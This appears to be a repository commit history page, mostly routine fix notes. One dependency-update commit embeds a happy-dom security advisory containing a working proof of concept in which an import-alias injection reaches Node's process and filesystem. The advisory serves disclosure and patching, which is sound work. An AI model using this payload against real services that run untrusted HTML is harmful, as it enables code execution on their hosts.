Commit Graph
3189 Commits
Author SHA1 Message Date
DarkSky dc2b221244 fix(editor): resolve doc title with references (#15865)
fix #15850



#### PR Dependency Tree


* **PR #15865** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **New Features**
* Search results now include database rows that reference matching
documents, showing the referenced document’s current title.
* Linked-document titles appear consistently in database title and
rich-text values, including after a title changes.
* Search includes ordinary text matches alongside linked-document
references and supports retrieving additional results.
* **Bug Fixes**
* Rows referencing unavailable documents are not presented as
linked-title matches.
* If linked-row lookup fails, ordinary document search results remain
available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-17 18:05:20 +08:00
DarkSky 0d594345a3 fix(core): sync indicator style (#15863)
#### PR Dependency Tree


* **PR #15863** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* The notification menu item no longer displays an active state solely
because the notification list is open; opening and closing the list
works as before.
* **Style**
* Refined the layout of the workspace sync-status button while
preserving its existing label and appearance details. The status content
now has more consistent spacing and alignment within the workspace card.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-17 13:41:13 +08:00
DarkSky 66bca643da fix: sync compatibility 2026-11-17 01:09:14 +08:00
DarkSky c471cfc9a5 feat(core): improve sync protocol (#15854)
#### PR Dependency Tree


* **PR #15854** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **New Features**
* Added workspace document lifecycle tracking, including trashed and
deleted states, with migration support.
* Added workspace inventory syncing and state refresh across cloud and
local storage, improving document discovery and offline synchronization.
* Added clearer messages for invalid or oversized document updates and
temporarily unavailable sync or validation.
* Added paused-upload diagnostics and a Quick Export shortcut for
relevant workspace sync issues.

* **Improvements**
* Search, indexing, and document metadata now reflect workspace
inventory and lifecycle state.
* Restoring from history preserves concurrent edits made during
recovery.
* Unused-blob checks now scan document content and detect changes during
scanning.

* **Bug Fixes**
* Invalid document updates are rejected without partially saving a
batch.
* Document reading handles missing or cyclic block relationships more
reliably.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 19:37:14 +08:00
DarkSky 5aa30aa7fa fix(server): image process error handle (#15820)
#### PR Dependency Tree


* **PR #15820** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved image handling in AI conversations: supported images are
resized and sent as WebP, with transparency preserved.
* Image attachments that can’t be loaded or encoded now report an error
instead of being silently omitted.
* Invalid image uploads now receive clearer error messages, while
unrelated processing errors retain their original details.
* Copilot message errors now surface more directly, while missing or
inaccessible sessions continue to be reported as unavailable.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-10 18:49:03 +08:00
Nir b4539cee35 feat(core): add Radix DirectionProvider for RTL support (#15214)
## What

Mounts a `DirectionProvider` in `AffineContext` that feeds the current
language's text direction to all Radix UI primitives. Adds an `rtl` flag
to `LanguageInfo` (from `SUPPORTED_LANGUAGES`), with a colocated unit
test.

Part of #8966.

## Why

Radix primitives read direction from React context, not from the
document `dir` attribute. Since #14624, `document.documentElement.dir`
correctly flips to `rtl` for Arabic/Persian/Urdu — but every Radix
dropdown, popover and menu still hard-renders LTR internally.

## Notes for reviewers

- `@radix-ui/react-direction` is pinned to the exact version the other
Radix primitives resolve (`1.1.1`), not a caret range. A caret range
resolves to a newer duplicate module copy, which means a different React
context object — the primitives would silently ignore the provider.
Verified at runtime both ways.
- Portaled Radix content preserves React context, so portaled popovers
inherit direction too.

## Testing

- `yarn typecheck`, `yarn vitest run
packages/frontend/core/src/modules/i18n` (3 tests) pass.
- Verified in the running web app (Playwright + manual): with language
set to العربية, the workspace selector popover and menus render
`dir="rtl"`; English UI unaffected.
2026-11-08 22:21:44 +08:00
王开心 0276a74cb9 fix(journal): prefer the tighter match when suggesting week dates (#15768)
## Description

`@next sa` gives me Next Sunday, same with `@last sa`. Saturday never
shows up.

The week loop returns the first alias that fuzzy-matches, and
`nextsunday` is checked before `nextsaturday`. Since `fuzzyMatch`
accepts any subsequence, `nextsa` finds an `s` and then an `a` inside
"sunday" and stops there.

Now it ranks the candidates instead of short-circuiting. A contiguous
run beats a scattered subsequence, and month names compete on the same
score, so `@no` reaches November instead of Next Monday. Ties keep the
old order, so `@ns` still gives Next Sunday and `@nxtus` still gives
Next Tuesday.

Tests in `suggest-date.spec.ts`. The saturday cases and the november
case fail on canary without the change.

fix #15745


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **New Features**
* Journal date suggestions now rank fuzzy matches, favoring prefixes
over contiguous and subsequence matches.
* Month matches can take precedence over weaker weekday matches. When
suggestions tie, the earlier candidate is retained; for the tested
query, this selects next Sunday.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-08 16:09:01 +08:00
DarkSky a37334a150 feat(server): improve order sync (#15802) 2026-11-08 12:24:01 +08:00
DarkSky b2c882c8de fix(core): retain chat drafts until runtime accepts the send (#15796)
fix #15708



#### PR Dependency Tree


* **PR #15796** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* Draft text and attachments are preserved when a message cannot be
sent, including when preparation fails or another send is in progress.
* After a send is accepted, submitted text and context are cleared while
edits and attachments made during preparation are retained.
* Draft updates are saved in order, and later edits continue to be saved
even if an earlier save is delayed or fails.
* Sending now waits for the chat to be ready, helping prevent input from
being lost when a send cannot proceed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-06 13:46:48 +08:00
DarkSky 0e0f26f06b fix(mobile): doc visible loading (#15797)
fix #15774
fix #15707



#### PR Dependency Tree


* **PR #15797** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved permission handling for mobile navigation. Linked documents
are shown only when the user has read access, and denied access is
handled consistently.
* Document permissions are revalidated and reused across navigation
views, reducing repeated checks.
* Owners wait for document indexing before navigation references begin
loading; users without access do not start that work.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-06 02:01:47 +08:00
DarkSky e1261c40bf chore: bump deps (#15795) 2026-11-06 00:58:55 +08:00
renovate[bot] c4573551ce chore: bump up happy-dom version to v21 [SECURITY] (#15739)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) |
[`^20.3.0` →
`^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |
![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/21.0.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/20.8.9/21.0.4?slim=true)
|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) |
[`^20.0.0` →
`^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |
![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/21.0.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/20.8.9/21.0.4?slim=true)
|

---

### Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import
alias leads to host code execution
[CVE-2026-115895](https://nvd.nist.gov/vuln/detail/CVE-2026-115895) /
[GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79)

<details>
<summary>More information</summary>

#### Details
##### Summary

The ESM compiler in `happy-dom@20.14.5` does not validate imported local
binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid
JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete
remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix
validates `importName` in the local `export { ... }` handler, but the
named import handler still places an unvalidated `alias` directly into
code context.

These issues were confirmed through the public `Window` and `<script
type="module">` APIs using the published `happy-dom` npm package. The
PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a
proof directory on the host filesystem.

##### Confirmed affected versions

The PoC was directly tested against:

- `happy-dom@17.0.0`
- `happy-dom@20.0.0`
- `happy-dom@20.1.0`
- `happy-dom@20.14.5`

The same PoC does not trigger on `happy-dom@16.8.1`.

The ESM compiler was introduced by commit `7bc831df2`, first released in
`v17.0.0`. The vulnerable interpolation remains present through
`v20.14.5`, the latest release at the time of testing.

Suggested affected range:

```text
>= 17.0.0, <= 20.14.5
```

No patched version is currently available.

##### Preconditions

- JavaScript evaluation is enabled with `enableJavaScriptEvaluation:
true`.
- Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that
evaluate externally supplied HTML.

##### Technical details

In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the
named import handler splits an import specifier and extracts its alias:

```ts
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}
```

Unlike the patched `export { ... }` handler, the value of `alias` is not
validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

```ts
newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
```

Consider the following source:

```js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

This is invalid ECMAScript module syntax. Node.js rejects it at the `=`
token.

Happy DOM instead transforms it into the equivalent of:

```js
let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
```

This generated JavaScript is valid. Because the imported JSON object
does not contain a `missing` property, the default initializer executes.

The `with { type: 'json' }` attribute is relevant because the compiler
only generates its circular import resolver for ESM imports:

```ts
if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}
```

Using a JSON module prevents the malicious alias from being emitted
again in a later circular-import assignment, leaving the generated
function syntactically valid.

Backtick strings also survive the existing quote removal. This allows
the injected initializer to reach Node.js host APIs:

```js
globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )
```

##### Proof of concept

The following PoC uses only the public Happy DOM API and performs a
harmless filesystem action by creating a directory named
`HAPPY_DOM_RCE_PROOF`.

##### 1. Create `package.json`

```json
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}
```

##### 2. Create `dep.json`

```json
{}
```

##### 3. Create `payload.mjs`

This file is used as a control to demonstrate that a native ECMAScript
parser rejects the source:

```js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

##### 4. Create `poc.mjs`

```js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();
```

##### 5. Run the control test

```console
npm install
node --check payload.mjs
```

Expected result:

```text
SyntaxError: Unexpected token '='
```

This confirms that the source is not valid ESM.

##### 6. Run the Happy DOM PoC

```console
node poc.mjs
```

Expected result:

```text
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
```

The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression
injected through the import alias executed and reached the host
filesystem.

The PoC was also verified inside a `node:24-alpine` Docker container,
where it created:

```text
/poc/HAPPY_DOM_RCE_PROOF
```

##### Impact

An attacker who can supply module source to an application that
evaluates JavaScript through Happy DOM can cause syntactically invalid
import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions
that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js `process` and built-in modules.
It can therefore be adapted to read or modify files, access environment
data, or execute operating-system commands with the privileges of the
Happy DOM host process.

##### Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export
declaration:

```js
export { attacker_expression }
```

Its fix added identifier validation to the `importName` used by the
`export { ... }` handler:

```ts
if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}
```

This report uses a different parsing and code-generation path:

```js
import { name as malicious_alias } from './module';
```

The unvalidated value is the local import `alias`, and the injection
occurs in a generated destructuring binding rather than the export
assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the
CVE-2026-33943 fix, including `20.14.5`.

##### Suggested fix

Validate the imported local binding before placing it into code context.
The existing `VALID_VARIABLE_NAME_REGEXP` can be reused:

```diff
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
```

A regression test should compile and execute the malicious import
declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused `ECMAScriptModuleCompiler`
test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use
`JSON.stringify()` instead of manual quote interpolation.

##### Verification record

- Testing date: 2026-09-17
- Duplicate check updated: 2026-09-20
- Platform: Windows 11
- Node.js: `24.14.1`
- Latest tested package: `happy-dom@20.14.5`
- Source tag: `v20.14.5`
- Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318`
- First confirmed affected version: `17.0.0`
- Confirmed unaffected version: `16.8.1`
- Docker environment: Node 24 Alpine
- No matching public advisory, issue, pull request, commit, or release
was found during the duplicate check.

#### Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79)
-
[https://github.com/capricorn86/happy-dom/pull/2537](https://redirect.github.com/capricorn86/happy-dom/pull/2537)
-
[https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13](https://redirect.github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13)
-
[https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4)
-
[https://github.com/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

###
[`v21.0.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.3...v21.0.4)

##### 👷‍♂️ Patch fixes

- Fixed a code injection vulnerability in the ESM compiler - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
- Fixed cross-origin isolation so opaque-origin `data:` iframes cannot
access their parent or top window - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.2...v21.0.3)

##### 👷‍♂️ Patch fixes

- Fixes security vulnerability where authorization header was forwarded
when redirecting - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.1...v21.0.2)

##### 👷‍♂️ Patch fixes

- Fixes SSRF security vulnerability by doing a target-origin bypass in
the proxy server in
[@&#8203;happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.0...v21.0.1)

##### 👷‍♂️ Patch fixes

- Adds aliases `--css` and `--iframe` for enabling CSS and iframe
loading to
[@&#8203;happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.6...v21.0.0)

##### 💣 Breaking Changes

- Disables CSS and IFrame loading by default to prevent [server-side
request forgery
(SSRF)](https://en.wikipedia.org/wiki/Server-side_request_forgery) - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
- An attacker could embed `<iframe>` or `<link rel="stylesheet">`
elements in untrusted HTML to make Happy DOM send HTTP requests from the
server to attacker-chosen URLs, including internal services. This could
allow access to otherwise unreachable endpoints or trigger unintended
actions, depending on the application and its network access.
  - The settings property `disableCSSFileLoading` has been deprecated
- Added the new settings properties
[enableCSSFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties)
and
[enableIframePageLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties)
- If you don't believe that you are at risk, you can keep the same
behavior as in `<=v20.14.6` by sending in `{ enableCSSFileLoading: true,
enableIframePageLoading: true }` as [broswer
settings](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings)
(e.g. `new Window({ settings })`);

###
[`v20.14.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.6)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.5...v20.14.6)

##### 👷‍♂️ Patch fixes

- Fixes cookie scope forgery vulnerability - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v20.14.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.5)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.4...v20.14.5)

##### 👷‍♂️ Patch fixes

- Preserve character references in comment data - By
**[@&#8203;hampustagerud](https://redirect.github.com/hampustagerud)**
in task
[#&#8203;2409](https://redirect.github.com/capricorn86/happy-dom/issues/2409)

###
[`v20.14.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.3...v20.14.4)

##### 👷‍♂️ Patch fixes

- End comments at the first comment end tag when it overlaps a comment
start tag - By
**[@&#8203;hampustagerud](https://redirect.github.com/hampustagerud)**
in task
[#&#8203;2407](https://redirect.github.com/capricorn86/happy-dom/issues/2407)

###
[`v20.14.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.2...v20.14.3)

##### 👷‍♂️ Patch fixes

- Avoids cloning all properties in CSSPropertyManager.toString - By
**[@&#8203;erictheswift](https://redirect.github.com/erictheswift)** in
task
[#&#8203;2363](https://redirect.github.com/capricorn86/happy-dom/issues/2363)

###
[`v20.14.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.1...v20.14.2)

##### 👷‍♂️ Patch fixes

- Fixes regression where not all CSS variables where resolved in
`getComputedStyle()` - By
**[@&#8203;klaesra](https://redirect.github.com/klaesra)** in task
[#&#8203;2344](https://redirect.github.com/capricorn86/happy-dom/issues/2344)

###
[`v20.14.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.0...v20.14.1)

##### 👷‍♂️ Patch fixes

- Invalidate the computed style cache for the whole subtree - By
**[@&#8203;matmannion](https://redirect.github.com/matmannion)** and
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2366](https://redirect.github.com/capricorn86/happy-dom/issues/2366)

###
[`v20.14.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.2...v20.14.0)

##### 🎨 Features

- Improves computed style cache - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2357](https://redirect.github.com/capricorn86/happy-dom/issues/2357)

###
[`v20.13.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.1...v20.13.2)

##### 👷‍♂️ Patch fixes

- Fix problem with getComputedStyle with :host and :host-context
selectors - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2349](https://redirect.github.com/capricorn86/happy-dom/issues/2349)

###
[`v20.13.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.0...v20.13.1)

##### 👷‍♂️ Patch fixes

- GetComputedStyle should return inherited value when it is set to
inherit - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2347](https://redirect.github.com/capricorn86/happy-dom/issues/2347)

###
[`v20.13.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.2...v20.13.0)

##### 🎨 Features

- Adds support for :host psuedo query selector - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2345](https://redirect.github.com/capricorn86/happy-dom/issues/2345)

###
[`v20.12.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.1...v20.12.2)

##### 👷‍♂️ Patch fixes

- Custom elements should be upgraded when connected to DOM - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2342](https://redirect.github.com/capricorn86/happy-dom/issues/2342)

###
[`v20.12.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.0...v20.12.1)

##### 🎨 Features

- Adds support for kebab-case properties on `CSSStyleDeclaration` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256)
- Adds support for all Chromium CSS properties to `CSSStyleDeclaration`
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256)
  - Downloads a list from the Chromium project when compiling

##### 👷‍♂️ Patch fixes

- Fixes issue with parsing CSS fallback variables - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256)

###
[`v20.12.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.15...v20.12.0)

##### 🎨 Features

- Adds support for `Animation`, `AnimationTimeline`, `DocumentTimeline`
and `KeyframeEffect` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
- Adds support for `Element.animate()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v20.11.15`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.15)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.14...v20.11.15)

##### 👷‍♂️ Patch fixes

- Fixes issue with upgrading custom element caused by previous release -
By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331)

###
[`v20.11.14`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.14)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.13...v20.11.14)

##### 👷‍♂️ Patch fixes

- Change prototype of element to the custom element when upgraded to
keep the reference - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331)
- The previous solution replaced the element with the custom element and
copied it's properties, but this made any reference to the original
element invalid

###
[`v20.11.13`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.13)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.12...v20.11.13)

##### 👷‍♂️ Patch fixes

- Copy event listeners when upgrading a custom element - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2329](https://redirect.github.com/capricorn86/happy-dom/issues/2329)

###
[`v20.11.12`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.12)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.11...v20.11.12)

##### 👷‍♂️ Patch fixes

- Add check for if the node is still a parent during disconnect - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2322](https://redirect.github.com/capricorn86/happy-dom/issues/2322)

###
[`v20.11.11`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.11)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.10...v20.11.11)

##### 👷‍♂️ Patch fixes

- Use proxy as parent node in Node.connectedToNode - By
**[@&#8203;diegohaz](https://redirect.github.com/diegohaz)** in task
[#&#8203;2253](https://redirect.github.com/capricorn86/happy-dom/issues/2253)

###
[`v20.11.10`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.10)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.9...v20.11.10)

##### 👷‍♂️ Patch fixes

- Return default validationMessage for built-in constraint violations -
By **[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in
task
[#&#8203;2187](https://redirect.github.com/capricorn86/happy-dom/issues/2187)

###
[`v20.11.9`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.9)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.8...v20.11.9)

##### 👷‍♂️ Patch fixes

- Make sure that the element has been upgraded before invoking reaction
callback in custom elements - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2317](https://redirect.github.com/capricorn86/happy-dom/issues/2317)

###
[`v20.11.8`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.8)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.7...v20.11.8)

##### 👷‍♂️ Patch fixes

- Values pushed or assigned to the `adoptedStyleSheet` array should be
validated - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2315](https://redirect.github.com/capricorn86/happy-dom/issues/2315)

###
[`v20.11.7`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.7)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.6...v20.11.7)

##### 👷‍♂️ Patch fixes

- The properties `Document.adoptedStyleSheets` and
`ShadowRoot.adoptedStyleSheets` should validate it's value - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2313](https://redirect.github.com/capricorn86/happy-dom/issues/2313)

###
[`v20.11.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.6)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.5...v20.11.6)

##### 👷‍♂️ Patch fixes

- Updates docs for the global-registrator package - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
